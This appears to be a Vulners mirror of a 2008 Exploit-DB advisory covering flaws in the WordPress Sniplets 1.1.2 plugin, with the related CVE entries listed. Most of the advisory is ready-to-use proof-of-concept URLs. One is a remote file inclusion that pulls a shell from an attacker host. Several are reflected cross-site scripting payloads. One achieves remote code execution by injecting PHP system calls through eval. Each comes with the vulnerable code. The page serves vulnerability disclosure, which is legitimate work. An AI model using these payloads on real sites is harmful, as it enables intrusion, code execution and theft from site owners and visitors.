Lucene search
+L

WordPress Plugin Sniplets 1.1.2 - Remote File Inclusion / Cross-Site Scripting / Remote Code Execution

🗓️ 26 Feb 2008 00:00:00Reported by NBBNType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 69 Views

WordPress Plugin Sniplets 1.1.2 - Multiple Vulnerabilities including Remote File Inclusion, Cross-Site Scripting, and Remote Code Executio

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2008-1059
28 Feb 200819:00
cve
cve
CVE
CVE-2008-1060
28 Feb 200819:00
cve
cve
CVE
CVE-2008-1061
28 Feb 200819:00
cve
cvelist
Cvelist
CVE-2008-1059
28 Feb 200819:00
cvelist
cvelist
Cvelist
CVE-2008-1060
28 Feb 200819:00
cvelist
cvelist
Cvelist
CVE-2008-1061
28 Feb 200819:00
cvelist
euvd
EUVD
EUVD-2008-1070
7 Oct 202500:30
euvd
euvd
EUVD
EUVD-2008-1072
7 Oct 202500:30
euvd
nuclei
Nuclei
WordPress Sniplets 1.1.2 - Local File Inclusion
3 Aug 202604:01
nuclei
nuclei
Nuclei
WordPress Sniplets <=1.2.2 - Cross-Site Scripting
3 Aug 202604:01
nuclei
Rows per page
########################
Wordpress Plugin Sniplets 1.1.2 Multiple Vulnerabilities by NBBN
########################
1) Remote File Inclusion

File: /modules/syntax_highlight.php
Register Globals: ON
Vuln code:
<?php

/* Name: Syntax Highlight */
include_once ("$libpath/geshi/geshi.php");

Poc:
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=http://attacker.tld/shell.txt?




2) Cross-Site Scripting

Register Globals: ON
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/notice.php?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/inset.php?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/admin/submenu.php?url=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/execute.php?text=%3Cli%3E

Register Globals: Off

Vuln Line:(3) <input type="hidden" name="page" value="<?php echo
$_GET['page'] ?>"/>
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/admin/pager.php?page=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E


3) Remote Code Execution

Register Globals: ON
Code:
<?php
/* Name: Execute as PHP */
if (substr ($text, 0, 4) == '<?php')
	$text = '?>'.$text;

eval ('?>'.$text);
?>

Poc:
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/execute.php?text=%3C?php%20system(%22ls%22);

# milw0rm.com [2008-02-26]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation